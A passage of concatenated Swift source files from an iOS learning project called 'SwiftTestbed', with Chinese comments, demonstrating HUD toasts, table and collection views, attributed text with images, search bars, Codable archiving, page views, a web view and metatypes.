显示提示文字\n // 在window指定的位置显示指定的时间\n static func showText(_ text: String, at position: Position = .bottom, duration: TimeInterval = 3) {\n guard let window = UIApplication.shared.windows.last else {\n return\n }\n showText(text, at: position, in: window, duration: duration)\n }\n \n static func showText(_ text: String, at position: Position = .bottom, in parentView: UIView, duration: TimeInterval = 3) {\n let hud = MBProgressHUD.showAdded(to: parentView, animated: true)\n hud.mode = .text\n hud.label.text = text\n \n // 显示位置\n let viewHeight = parentView.bounds.height\n let delta = viewHeight / 2 * 0.7\n \n let offsetY: CGFloat\n switch position {\n case .top:\n offsetY = -delta\n case .middle:\n offsetY = 0\n case .bottom:\n offsetY = delta\n }\n \n hud.offset = CGPoint(x: 0, y: offsetY)\n\n // 文本颜色\n hud.contentColor = .white\n // 背景色\n hud.bezelView.style = .solidColor\n hud.bezelView.backgroundColor = .black\n \n hud.margin = 10 // 调整提hud的高度\n \n hud.hide(animated: true, afterDelay: duration)\n }\n}\n//\n// AppDelegate.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/12.\n//\n\nimport UIKit\n\n@main\nclass AppDelegate: UIResponder, UIApplicationDelegate {\n\n var window: UIWindow?\n\n func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {\n // Override point for customization after application launch.\n self.window = UIWindow(frame: UIScreen.main.bounds)\n self.window?.backgroundColor = UIColor.white\n \n let tvc = TableViewController()\n let nvc = NavigationController(rootViewController: tvc)\n self.window?.rootViewController = nvc\n self.window?.makeKeyAndVisible()\n \n printItems()\n \n return true\n }\n \n func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {\n \n // file:///private/var/mobile/Containers/Data/Application/63B17B7E-1C80-4B65-B3A2-459579FD6D7D/Documents/Inbox/test-1.txt\n // path: /var/mobile/Containers/Data/Application/D0E5544D-DD36-46D0-9C92-5C051870A95E/Documents/user\n \n print(\"in file:\", url.absoluteString)\n \n return true\n }\n \n func printItems() {\n let homePath = NSHomeDirectory()\n let docPath = homePath + \"/Documents\"\n let path = docPath + \"/Inbox/test\"\n \n let enumerator = FileManager.default.enumerator(atPath: path)\n while let item = enumerator?.nextObject() as? String {\n print(item)\n }\n }\n \n static let path: String = {\n let homePath = NSHomeDirectory()\n let docPath = homePath + \"/Documents\"\n let userPath = docPath + \"/user\"\n \n return userPath\n }()\n}\n\n//\n// TableViewController.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/12.\n//\n\nimport Foundation\n\nimport UIKit\n\nclass TableViewController: UITableViewController {\n \n fileprivate let cellReuseID = \"cell\"\n \n lazy var dataArray = [TestItem]()\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n configUI()\n \n setupData()\n \n tableView.reloadData()\n }\n \n func configUI() {\n tableView.register(UITableViewCell.self, forCellReuseIdentifier: cellReuseID)\n tableView.tableFooterView = UIView()\n }\n \n func setupData() {\n dataArray = [\n TestItem(title: \"元类型\", type: MetatypeVC.self),\n TestItem(title: \"懒加载\", type: LazyLoadingVC.self),\n TestItem(title: \"编码、解码、归档\", type: CodableDemoVC.self),\n TestItem(title: \"分页滑动\", type: PageDemoVC.self),\n TestItem(title: \"CollectionView\", type: CollectionViewVC.self),\n TestItem(title: \"泛型父类和具体子类\", type: GenericsVC.self),\n TestItem(title: \"搜索\", type: ContainSearchBarVC.self),\n TestItem(title: \"弹出框\", type: PopoverVC.self),\n TestItem(title: \"图文混排\", type: ImageTextVC.self),\n TestItem(title: \"WebviewVC\", type: WebviewVC.self),\n TestItem(title: \"过渡动画\", type: PresetationDemoVC.self),\n TestItem(title: \"无限转动动画\", type: HUDVC.self),\n TestItem(title: \"控制器返回事件\", type: BackActionVC.self),\n \n ]\n }\n}\n\nextension TableViewController {\n override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n tableView.deselectRow(at: indexPath, animated: true)\n \n let testItem = dataArray[indexPath.row]\n \n let vc = testItem.type.init()\n self.navigationController?.pushViewController(vc, animated: true)\n \n }\n}\n\nextension TableViewController {\n override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n return dataArray.count\n }\n override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n \n let testItem = dataArray[indexPath.row]\n let cell = tableView.dequeueReusableCell(withIdentifier: cellReuseID, for: indexPath)\n cell.textLabel?.text = testItem.title\n return cell\n }\n}\n//\n// Smiley.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/13.\n//\n\nimport Foundation\n\nclass Smiley {\n class var text: String {\n return \":)\"\n }\n}\n\nclass EmojiSmiley: Smiley {\n override class var text: String {\n return \"😊\"\n }\n}\n//\n// CollectionViewVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/23.\n//\n\nimport Foundation\n\nimport UIKit\n\nclass CollectionViewVC: BaseViewController {\n \n // 三个button、一个collectionView\n \n var twoLevelCollectionView: UICollectionView!\n var collectionViewLayout: UICollectionViewLayout!\n \n let tableViewReuseID = \"UITableViewCell\"\n let collectionViewReuseID = \"UICollectionViewCell\"\n let headerReuseID = \"headerReuseID\"\n\n override func viewDidLoad() {\n super.viewDidLoad()\n \n creatUI()\n configUI()\n addUI()\n constraintUI()\n \n }\n \n // MARK: - UI 初步\n func creatUI() {\n collectionViewLayout = UICollectionViewFlowLayout()\n// collectionViewLayout.\n twoLevelCollectionView = UICollectionView(frame: view.bounds, collectionViewLayout: collectionViewLayout)\n }\n func configUI() {\n configCollectionView()\n }\n func addUI() {\n view.addSubview(twoLevelCollectionView)\n }\n func constraintUI() {\n \n }\n \n // MARK: 细化\n func configCollectionView() {\n// twoLevelCollectionView.backgroundColor = UIColor.lightGray\n twoLevelCollectionView.delegate = self\n twoLevelCollectionView.dataSource = self\n twoLevelCollectionView.register(UICollectionViewCell.self, forCellWithReuseIdentifier: collectionViewReuseID)\n \n twoLevelCollectionView.register(UICollectionReusableView.self, forSupplementaryViewOfKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: \"headerReuseID\")\n }\n}\n\n// MARK: - collection view delegate\nextension CollectionViewVC: UICollectionViewDelegate, UICollectionViewDataSource {\n \n func numberOfSections(in collectionView: UICollectionView) -> Int {\n 1\n }\n func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {\n 10\n }\n\n func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {\n let cell = collectionView.dequeueReusableCell(withReuseIdentifier: collectionViewReuseID, for: indexPath)\n cell.contentView.backgroundColor = UIColor.gray\n return cell\n }\n \n func collectionView(_ collectionView: UICollectionView, viewForSupplementaryElementOfKind kind: String, at indexPath: IndexPath) -> UICollectionReusableView {\n let header = collectionView.dequeueReusableSupplementaryView(ofKind: kind, withReuseIdentifier: headerReuseID, for: indexPath)\n header.backgroundColor = UIColor.red\n return header\n }\n}\n//extension CollectionViewVC: UICollectionViewDelegateFlowLayout {\n// func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize {\n// return CGSize(width: 60, height: 40)\n// }\n//}\n//\n// ImageTextVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/12/28.\n//\n\nimport Foundation\nimport UIKit\n\nclass ImageTextVC: BaseViewController {\n \n var textVieW = UITextView(frame: CGRect(x: 30, y: 40, width: 340, height: 600))\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n creatUI()\n configUI()\n addUI()\n constraintUI()\n }\n \n func creatUI() {\n navigationItem.rightBarButtonItem = UIBarButtonItem(title: \"test\", style: .plain, target: self, action: #selector(parse))\n }\n func configUI() {\n view.backgroundColor = UIColor.groupTableViewBackground\n textVieW.backgroundColor = UIColor.white\n \n// textVieW.text = \"asdfasdf asd fasdf j;ljas asdfja;ls j;lk asdf asfasdf jasdfasd;jfkas;djkf asd fsdffsadf asdf as dfj;lasdj as;ldjf;lkjl;j;k;kddd a \"\n \n \n //图片表情\n// //1. 生成一个图片的附件, Attachment:附件\n// let attachMent = NSTextAttachment()\n//\n// //2. 使用NSTextAttachment将想要插入的图片作为一个字符处理,转换成NSAttributedString\n// attachMent.image = UIImage(named: \"shop_bg\")\n//\n// //3. 因为图片的大小是按照原图的尺寸, 所以要设置图片的bounds, 也就是大小\n// attachMent.bounds = CGRect(x: 0, y: 100, width: 300, height: 200)\n//\n// //4. 将图片添加到富文本上\n// let attachString = NSAttributedString(attachment: attachMent)\n//\n// //5. 把图片富文本转换成可变的富文本\n// let mutiAttachString = NSMutableAttributedString(attributedString: attachString)\n//\n// //6. 调用富文本的对象方法 addAttributes(_ attrs: [String : Any] = [:], range: NSRange)\n// //来修改对应range范围中 attribute属性的 value值\n// //这里是修改富文本所有文本的字体大小为textView里的文本大小\n// mutiAttachString.addAttributes([NSAttributedString.Key.font: UIFont.systemFont(ofSize: 16)], range: NSMakeRange(0, attachString.length))\n//\n// textVieW.attributedText = mutiAttachString\n \n }\n func addUI() {\n view.addSubview(textVieW)\n }\n func constraintUI() {\n \n }\n \n override func touchesBegan(_ touches: Set, with event: UIEvent?) {\n// insetText()\n insetImage()\n }\n \n //插入文字\n func insetText() {\n \n //创建属性字符串\n let attrStr = NSAttributedString(string: \"美女\", attributes: [NSAttributedString.Key.foregroundColor:UIColor.red])\n \n let font = textVieW.font!\n \n //创建可变属性字符串\n let attrMutableStr = NSMutableAttributedString(attributedString: textVieW.attributedText)\n \n //将图片属性字符串替换到可变属性字符串的某一个位置\n //获取光标所在位置\n let range = textVieW.selectedRange\n \n //替换属性字符串\n attrMutableStr.replaceCharacters(in: range, with: attrStr)\n \n //显示属性字符串\n textVieW.attributedText = attrMutableStr\n \n //将文字大小重置\n textVieW.font = font\n \n //将光标设置回原来的位置\n textVieW.selectedRange = NSRange(location: range.location + 2, length : 0)\n\n }\n\n //插入图片\n func insetImage() {\n \n //创建图片属性字符串\n let attachment = NSTextAttachment()\n attachment.image = UIImage(named: \"shop_bg\")\n let font = textVieW.font!\n attachment.bounds = CGRect(x: 0, y: 0, width: 300, height: 200)\n let attrImageStr = NSAttributedString(attachment: attachment)\n \n //创建可变属性字符串\n let attrMutableStr = NSMutableAttributedString(attributedString: textVieW.attributedText)\n \n //将图片属性字符串替换到可变属性字符串的某一个位置\n //获取光标所在位置\n let range = textVieW.selectedRange\n \n //替换属性字符串\n attrMutableStr.replaceCharacters(in: range, with: attrImageStr)\n \n //显示属性字符串\n textVieW.attributedText = attrMutableStr\n \n //将文字大小重置\n textVieW.font = font\n \n //将光标设置回原来的位置\n textVieW.selectedRange = NSRange(location: range.location + 1, length : 0)\n }\n \n \n @objc func parse() {\n print(\"\\(type(of: self)).\\(#function)\")\n \n textVieW.attributedText.enumerateAttributes(in: NSRange(location: 0, length: textVieW.attributedText.length), options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (info, range, stop) in\n \n if let attachment = info[NSAttributedString.Key.attachment] as? NSTextAttachment{\n print(attachment.image!)\n print(range)\n \n \n }\n print(\"\\n\")\n\n }\n \n print(\"text:\", textVieW.text)\n \n }\n}\n//\n// ContainSearchBarVC.swift\n// SwiftTestbed\n//\n// Created by itang on 2020/12/6.\n//\n\nimport Foundation\nimport UIKit\n\nclass ContainSearchBarVC: BaseViewController {\n \n var svc: UISearchController = {\n let rvc = SearchResultVC()\n let vc = UISearchController(searchResultsController: rvc)\n \n vc.hidesNavigationBarDuringPresentation = false\n vc.obscuresBackgroundDuringPresentation = false\n \n vc.searchResultsUpdater = rvc\n \n return vc\n }()\n \n override func viewDidLoad() {\n super.viewDidLoad()\n view.backgroundColor = UIColor.lightGray\n addBarButtonItems()\n \n addSearchBar()\n }\n \n override func viewWillDisappear(_ animated: Bool) {\n super.viewWillDisappear(animated)\n svc.dismiss(animated: true, completion: nil)\n }\n \n func addBarButtonItems() {\n let item = UIBarButtonItem(title: \"发布\", style: .plain, target: self, action: #selector(publish(sender:)))\n navigationItem.rightBarButtonItem = item\n }\n \n func addSearchBar() {\n \n \n \n let searchBar = svc.searchBar\n searchBar.delegate = self\n navigationItem.titleView = searchBar\n }\n \n @objc func publish(sender: UIBarButtonItem) {\n print(\"\\(type(of: self)).\\(#function)\")\n\n }\n \n deinit {\n print(\"\\(type(of: self)).\\(#function)\")\n }\n}\n\nextension ContainSearchBarVC: UISearchBarDelegate {\n \n func searchBarShouldBeginEditing(_ searchBar: UISearchBar) -> Bool {\n print(\"\\(type(of: self)).\\(#function)\")\n navigationItem.rightBarButtonItem = nil\n return true\n }\n\n func searchBarTextDidBeginEditing(_ searchBar: UISearchBar){\n print(\"\\(type(of: self)).\\(#function)\")\n }\n\n func searchBarShouldEndEditing(_ searchBar: UISearchBar) -> Bool {\n print(\"\\(type(of: self)).\\(#function)\")\n return true\n\n }\n\n func searchBarTextDidEndEditing(_ searchBar: UISearchBar) {\n print(\"\\(type(of: self)).\\(#function)\")\n DispatchQueue.main.asyncAfter(deadline: .now() + 0.5) {\n self.addBarButtonItems()\n }\n }\n \n func searchBarSearchButtonClicked(_ searchBar: UISearchBar) {\n print(\"\\(type(of: self)).\\(#function)\")\n svc.dismiss(animated: true, completion: nil)\n }\n \n func searchBarCancelButtonClicked(_ searchBar: UISearchBar) {\n print(\"\\(type(of: self)).\\(#function)\")\n }\n \n \n}\n//\n// User.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/16.\n//\n\nimport Foundation\n\n\n// 归档 必须继承NSObject\nstruct User: Codable {\n var id = 1001\n var isMale = true\n var name: String\n var age: Int\n var money: Double\n var des = \"\"\n}\n\nextension User {\n enum CodingKeys: String, CodingKey {\n case id\n case isMale = \"is_male\"\n case name\n case age\n case money\n }\n}\n//\n// PageDemoVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/17.\n//\n\nimport Foundation\n\n\nimport UIKit\n\nclass PageDemoVC: BaseViewController {\n var dataArray: [PageVC] = {\n let p1 = PageVC()\n p1.view.backgroundColor = UIColor.green\n let p2 = PageVC()\n p2.view.backgroundColor = UIColor.orange\n let p3 = PageVC()\n p3.view.backgroundColor = UIColor.blue\n \n return [p1, p2, p3]\n }()\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n \n let pagesVC = UIPageViewController.init(transitionStyle: UIPageViewController.TransitionStyle.scroll, navigationOrientation: UIPageViewController.NavigationOrientation.horizontal)\n pagesVC.delegate = self\n pagesVC.dataSource = self\n \n pagesVC.setViewControllers([dataArray[0]], direction: UIPageViewController.NavigationDirection.reverse, animated: false, completion: nil)\n \n pagesVC.view.frame = self.view.bounds\n \n self.addChild(pagesVC)\n self.view.addSubview(pagesVC.view)\n }\n}\n\nextension PageDemoVC: UIPageViewControllerDelegate {\n \n}\n\nextension PageDemoVC: UIPageViewControllerDataSource {\n \n func pageViewController(_ pageViewController: UIPageViewController, viewControllerBefore viewController: UIViewController) -> UIViewController? {\n \n let index = dataArray.firstIndex(of: viewController as! PageVC)\n if index == 0 {\n return nil\n }\n \n return dataArray[index! - 1]\n }\n \n func pageViewController(_ pageViewController: UIPageViewController, viewControllerAfter viewController: UIViewController) -> UIViewController? {\n let index = dataArray.firstIndex(of: viewController as! PageVC)\n if index == dataArray.count - 1 {\n return nil\n }\n \n return dataArray[index! + 1]\n }\n \n}\n//\n// WebviewVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/12/31.\n//\n\nimport Foundation\nimport WebKit\n\n\nclass WebviewVC: BaseViewController {\n var webView = WKWebView()\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n creatUI()\n configUI()\n addUI()\n constraintUI()\n \n let url = URL(string: \"https://www.baidu.com\")\n let baidu = URLRequest(url: url!)\n webView.load(baidu)\n }\n \n func creatUI() {\n \n }\n func configUI() {\n webView.frame = CGRect(x: 0, y: 0, width: view.bounds.width, height: view.bounds.height)\n }\n func addUI() {\n view.addSubview(webView)\n }\n func constraintUI() {\n \n }\n \n \n}\n//\n// CodableDemoVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/16.\n//\n\nimport Foundation\n\nimport UIKit\n\nclass CodableDemoVC: BaseViewController {\n \n lazy var archivedPath: String = {\n let homePath = NSHomeDirectory()\n let docPath = homePath + \"/Documents\"\n let teamPath = docPath + \"/team\"\n \n return teamPath\n }()\n \n lazy var userPath: String = {\n let homePath = NSHomeDirectory()\n let docPath = homePath + \"/Documents\"\n let userPath = docPath + \"/user\"\n \n return userPath\n }()\n \n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n// let archiveItem = UIBarButtonItem(title: \"归档\", style: UIBarButtonItem.Style.plain, target: self, action: #selector(archivie))\n// let unachiveItem = UIBarButtonItem(title: \"解档\", style: UIBarButtonItem.Style.plain, target: self, action: #selector(unarchivie))\n let archiveItem = UIBarButtonItem(title: \"归档\", style: UIBarButtonItem.Style.plain, target: self, action: #selector(archiveUser))\n let unachiveItem = UIBarButtonItem(title: \"解档\", style: UIBarButtonItem.Style.plain, target: self, action: #selector(unarchiveUser))\n \n self.navigationItem.rightBarButtonItems = [archiveItem, unachiveItem]\n }\n \n override func touchesBegan(_ touches: Set, with event: UIEvent?) {\n \n removeArchivedFile()\n \n// demoJson()\n// demoPlist()\n// decodeTeam()\n\n// archive()\n// unarchive()\n// archiveUser()\n \n }\n \n @objc func archivie () {\n print(\"\\(type(of: self)).\\(#function)\")\n \n let p1 = Person(id: 1, name: \"tom\", age: 10, isMale: true)\n let p2 = Person(id: 2, name: \"jim\", age: 12, isMale: false)\n let p3 = Person(id: 3, name: \"tim\", age: 14, isMale: true)\n let p4 = Person(id: 4, name: \"sam\", age: 16, isMale: true)\n \n let members = [p1, p2, p3]\n let team = Team(master: p4, members: members)\n \n guard let plistData = try? PropertyListEncoder().encode(team) else {\n print(\"编码为plist失败\")\n return\n }\n \n let dataPath = self.archivedPath + \".plist\"\n \n do {\n try plistData.write(to: URL(fileURLWithPath: dataPath))\n print(\"plist data存储成功\")\n } catch {\n print(\"plist data存储失败:\", error)\n }\n \n let result = NSKeyedArchiver.archiveRootObject(plistData, toFile: self.archivedPath)\n print(\"archive plist data:\", result)\n \n // josn\n do {\n let data = try JSONEncoder().encode(team)\n let jsonData = self.archivedPath + \"_jsondata\"\n do {\n try data.write(to: URL(fileURLWithPath: jsonData))\n print(\"json data --> file 成功\")\n } catch {\n print(\"json data --> file 失败:\", error)\n }\n \n } catch {\n print(\"team --> json data 失败\")\n }\n \n }\n @objc func unarchivie () {\n print(\"\\(type(of: self)).\\(#function)\")\n guard let data = NSKeyedUnarchiver.unarchiveObject(withFile: self.archivedPath) as? Data else {\n print(\"archived --> data 失败\")\n return\n }\n do {\n let team = try PropertyListDecoder().decode(Team.self, from: data)\n print(\"解档成功\")\n print(\"team:\", team)\n } catch {\n print(\"data --> team 失败\")\n }\n }\n \n func removeArchivedFile() {\n print(\"\\(type(of: self)).\\(#function)\")\n \n \n if FileManager.default.fileExists(atPath: self.archivedPath) {\n // 存在\n \n do {\n try FileManager.default.removeItem(at: URL(fileURLWithPath: self.archivedPath))\n print(\"删除文件成功:\", self.archivedPath)\n }\n catch {\n print(\"删除失败:\", error)\n }\n } else {\n print(\"文件不存在:\", self.archivedPath)\n }\n }\n \n func demoJson() {\n let p1 = Person(id: 1, name: \"tom\", age: 10, isMale: true)\n let p2 = Person(id: 2, name: \"jim\", age: 12, isMale: false)\n let p3 = Person(id: 3, name: \"tim\", age: 14, isMale: true)\n let p4 = Person(id: 4, name: \"sam\", age: 16, isMale: true)\n \n let members = [p1, p2, p3]\n let team = Team(master: p4, members: members)\n \n let jsonData = try? JSONEncoder().encode(team)\n if let data = jsonData {\n let jsonText = String(data: data, encoding: String.Encoding.utf8)\n print(jsonText ?? \"\")\n \n print(\"解码\")\n let t = try? JSONDecoder().decode(Team.self, from: data)\n if let tm = t {\n print(\"master:\", tm.master)\n for person in tm.members {\n print(\"member:\", person)\n }\n }\n }\n }\n \n @objc func archiveUser() {\n var user = User(name: \"jim\", age: 22, money: 36000.56)\n user.isMale = true\n let homePath = NSHomeDirectory()\n let docPath = homePath + \"/Documents\"\n let userPath = docPath + \"/user\"\n \n \n do {\n let data = try PropertyListEncoder().encode(user)\n let result = NSKeyedArchiver.archiveRootObject(data, toFile: userPath)\n print(\"archive result:\", result)\n } catch {\n print(\"archived 失败:\", error)\n }\n }\n \n @objc func unarchiveUser() {\n \n let info: [String : Any] = [\"id\" : 1002,\n \"is_male\" : false,\n \"name\" : \"jobs\",\n \"age\" : 18,\n \"money\" : 266.68,\n ]\n \n do {\n let data = try JSONSerialization.data(withJSONObject: info, options: JSONSerialization.WritingOptions.prettyPrinted)\n do {\n let user = try JSONDecoder().decode(User.self, from: data)\n print(\"user:\", user)\n } catch {\n print(\"json data --> user 失败:\", error)\n }\n } catch {\n print(\"dic --> json data 失败:\", error)\n }\n \n \n// guard let user = NSKeyedUnarchiver.unarchiveObject(withFile: self.archivedPath) as? User else {\n// return\n// }\n//\n// print(\"archived user:\", user)\n }\n}\n//\n// SearchBarVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/12/7.\n//\n\nimport Foundation\nimport UIKit\n\nclass SearchBarVC: UIViewController {\n override func viewDidLoad() {\n super.viewDidLoad()\n view.backgroundColor = UIColor.white\n }\n}\n//\n// SearchResultVC1.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/12/7.\n//\n\nimport Foundation\n//\n// SubTable.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/12/8.\n//\n\nimport Foundation\n\nstruct Model {\n var name = \"\"\n var age = 0\n}\n\nclass SubTable: Table {\n func displayData() {\n for item in dataArray {\n print(item.age, item.name)\n }\n }\n}\n//\n// MetatypeVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/13.\n//\n\nimport UIKit\n\nclass MetatypeVC: BaseViewController {\n override func viewDidLoad() {\n super.viewDidLoad()\n }\n \n override func touchesBegan(_ touches: Set, with event: UIEvent?) {\n test()\n }\n \n func test() {\n print(type(of: self))\n print(type(of: MetatypeVC.self))\n \n let smiley = EmojiSmiley()\n printSmileyInfo(smiley)\n \n let intMetaType: Int.Type = Int.self\n let protocolMetaType: SomeProtocol.Protocol = SomeProtocol.self\n print(\"类型的元类型:\", intMetaType) // Int\n print(\"协议的元类型:\", protocolMetaType) // SomeProtocol\n \n print(\"可以使用元类型的实例来调用类型的静态方法\")\n print(intMetaType.init(10)) // 10\n\n \n print(\"打印为协议类型\")\n let s: SomeProtocol = \"hello\"\n printGenericInfo(s) // meta type: SomeProtocol\n \n print(\"打印为真实类型\")\n betterPrintGenericInfo(s) // meta type: String\n \n String.someFunc()\n String.self.someFunc()\n type(of: \"hello\").someFunc()\n }\n \n func printSmileyInfo(_ value: Smiley) {\n let smileyType = type(of: value) // 通过类的对象获取类的元类型的实例\n print(\"print type:\", smileyType)\n print(\"value type:\", smileyType.text)\n print(\"value type:\", Smiley.self.text) // 通过类名获取类的元类型的实例\n \n \n }\n \n func printGenericInfo(_ value: T) {\n let metaType = type(of:value)\n print(\"meta type:\", metaType)\n }\n func betterPrintGenericInfo(_ value: T) {\n let metaType = type(of:value as Any)\n print(\"meta type:\", metaType)\n }\n \n}\n\nprotocol SomeProtocol {\n static func someFunc()\n}\nextension String: SomeProtocol {\n static func someFunc () {\n print(\"some func\")\n }\n}\n//\n// GenericsVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/12/8.\n//\n\nimport Foundation\n\nclass GenericsVC: BaseViewController {\n override func viewDidLoad() {\n super.viewDidLoad()\n \n let subTable = SubTable()\n for i in 1...5 {\n subTable.dataArray.append(Model(name: \"jobs\", age: i))\n }\n subTable.displayData()\n }\n}\n//\n// TestItem.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/12.\n//\n\nimport UIKit\n\nstruct TestItem {\n var title: String\n var type: UIViewController.Type\n}\n//\n// PageVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/11/17.\n//\n\nimport Foundation\n\nimport UIKit\n\nclass PageVC: BaseViewController {\n \n deinit {\n print(\"\\(type(of: self)).\\(#function)\")\n }\n}\n//\n// NavigationController.swift\n// CloudBusiness\n//\n// Created by firefly on 2020/10/26.\n//\n\nimport UIKit\n\nclass NavigationController: UINavigationController {\n \n var mt: NavigationController.Type = NavigationController.self\n \n override func pushViewController(_ viewController: UIViewController, animated: Bool) {\n viewController.hidesBottomBarWhenPushed = self.viewControllers.count > 0\n super.pushViewController(viewController, animated: animated)\n \n }\n}\n\nextension NavigationController: UINavigationBarDelegate {\n func navigationBar(_ navigationBar: UINavigationBar, shouldPop item: UINavigationItem) -> Bool {\n print(\"\\(type(of: self)).\\(#function):\", item)\n \n \n \n return true //!(self.topViewController is LazyLoadingVC)\n }\n func navigationBar(_ navigationBar: UINavigationBar, didPop item: UINavigationItem) {\n print(\"\\(type(of: self)).\\(#function):\", item)\n }\n}\n\n//\n// IteamsVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2020/12/8.\n//\n\nimport Foundation\nimport UIKit\n\nclass IteamsVC: BaseViewController {\n override func viewDidLoad() {\n super.viewDidLoad()\n view.backgroundColor = UIColor.blue\n }\n}\n//\n// HUDVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2021/1/28.\n//\n\nimport Foundation\nimport MBProgressHUD\n\nclass HUDVC: BaseViewController {\n \n \n // MARK: - viewDidLoad\n override func viewDidLoad() {\n super.viewDidLoad()\n \n creatUI()\n configUI()\n addUI()\n constraintUI()\n }\n deinit {\n print(\"\\(type(of: self)).\\(#function)\")\n }\n \n // MARK: - UI\n func creatUI() {\n \n let backItem = UIBarButtonItem(title: \"back\", style: .plain, target: self, action: #selector(back))\n let showItem = UIBarButtonItem(title: \"shw\", style: .plain, target: self, action: #selector(showIndicator))\n let dismissItem = UIBarButtonItem(title: \"dis\", style: .plain, target: self, action: #selector(dismissIndicator))\n \n navigationItem.leftBarButtonItems = [backItem, showItem, dismissItem]\n \n let doneItem = UIBarButtonItem(title: \"done\", style: .plain, target: self, action: #selector(showDone))\n let progressItem = UIBarButtonItem(title: \"poges\", style: .plain, target: self, action: #selector(showProgress))\n let failureItem = UIBarButtonItem(title: \"fail\", style: .plain, target: self, action: #selector(showFailure))\n let warningItem = UIBarButtonItem(title: \"warn\", style: .plain, target: self, action: #selector(showWarning))\n let switchItem = UIBarButtonItem(title: \"swtich\", style: .plain, target: self, action: #selector(swithToResult))\n\n \n navigationItem.rightBarButtonItems = [doneItem, progressItem, failureItem, warningItem, switchItem]\n\n let btn = UIButton(frame: CGRect(x: 100, y: 100, width: 100, height: 40))\n btn.setTitle(\"test\", for: .normal)\n btn.addTarget(self, action: #selector(btnTapped), for: .touchUpInside)\n \n view.addSubview(btn)\n \n btn.backgroundColor = .gray\n \n }\n \n func configUI() {\n \n }\n func addUI() {\n \n }\n func constraintUI() {\n \n }\n \n // MARK: - action\n @objc func btnTapped() {\n print(\"\\(type(of: self)).\\(#function)\")\n }\n \n @objc func back() {\n navigationController?.popViewController(animated: true)\n }\n @objc func showIndicator() {\n HUD.showIndicator(message: \"正在登录\", in: view)\n }\n @objc func dismissIndicator() {\n \n HUD.hideIndicator(parentViewOrHud: view)\n \n }\n @objc func showDone() {\n if let hud = MBProgressHUD.forView(view) {\n hud.mode = .customView\n hud.customView = UIImageView()\n \n let image = UIImage(named: \"Checkmark\")?.withRenderingMode(.alwaysTemplate)\n let imageView = UIImageView(image: image)\n hud.customView = imageView\n hud.label.text = \"完成\"\n \n hud.hide(animated: true, afterDelay: 3)\n } else {\n HUD.showSuccess(text: \"修改成功\")\n }\n }\n @objc func showProgress() {\n }\n @objc func showFailure() {\n HUD.showFailure(text: \"服务器繁忙20\")\n }\n @objc func showWarning() {\n HUD.showWarning(text: \"密码不正确\")\n }\n @objc func swithToResult() {\n HUD.switchToSuccess(text: \"登录成功\", for: view)\n }\n \n \n override func touchesBegan(_ touches: Set, with event: UIEvent?) {\n \n \n// HUD.showText(\"hello\")\n// HUD.showText(\"hello\", in:view)\n \n// let indefinateView = SVIndefiniteAnimatedView(frame: CGRect(x: 200, y: 150, width: 80, height: 80))\n// indefinateView.center = view.center\n// indefinateView.backgroundColor = UIColor.black\n//\n// indefinateView.layer.cornerRadius = 6\n// indefinateView.layer.masksToBounds = true\n// indefinateView.strokeColor = .white;\n// indefinateView.strokeThickness = 3\n// indefinateView.radius = 30\n// view.addSubview(indefinateView)\n }\n}\n\n//\n// BaseVC.swift\n// CloudBusiness\n//\n// Created by firefly on 2020/10/27.\n//\n\nimport UIKit\n\nclass BaseViewController: UIViewController {\n override func viewDidLoad() {\n self.view.backgroundColor = UIColor.white\n }\n \n override func viewDidDisappear(_ animated: Bool) {\n super.viewDidDisappear(animated)\n \n print(\"\\(type(of: self)).\\(#function)\")\n if navigationController == nil && presentingViewController == nil {\n viewControllerDidDismiss()\n } else {\n print(\"ViewController does not dismiss\")\n }\n }\n \n func viewControllerDidDismiss() {\n print(\"\\(type(of: self)).\\(#function)\")\n }\n \n}\n//\n// PresetationDemoVC.swift\n// SwiftTestbed\n//\n// Created by firefly on 2021/1/16.\n//\n\nimport Foundation\nimport UIKit\n\nclass PresetationDemoVC: BaseViewController {\n override func viewDidLoad() {\n super.viewDidLoad()\n \n creatUI()\n configUI()\n addUI()\n constraintUI()\n }\n \n func creatUI() {\n \n }\n func configUI() {\n \n }\n func addUI() {\n \n }\n func constraintUI() {\n \n }\n \n override func touchesBegan(_ touches: Set, with event: UIEvent?) {\n let vc = PayPasswordVC()\n vc.modalTransitionStyle = .crossDissolve\n vc.modalPresentationStyle = .custom\n vc.transitioningDelegate = vc\n self.present(vc, animated: true, completion: nil)\n 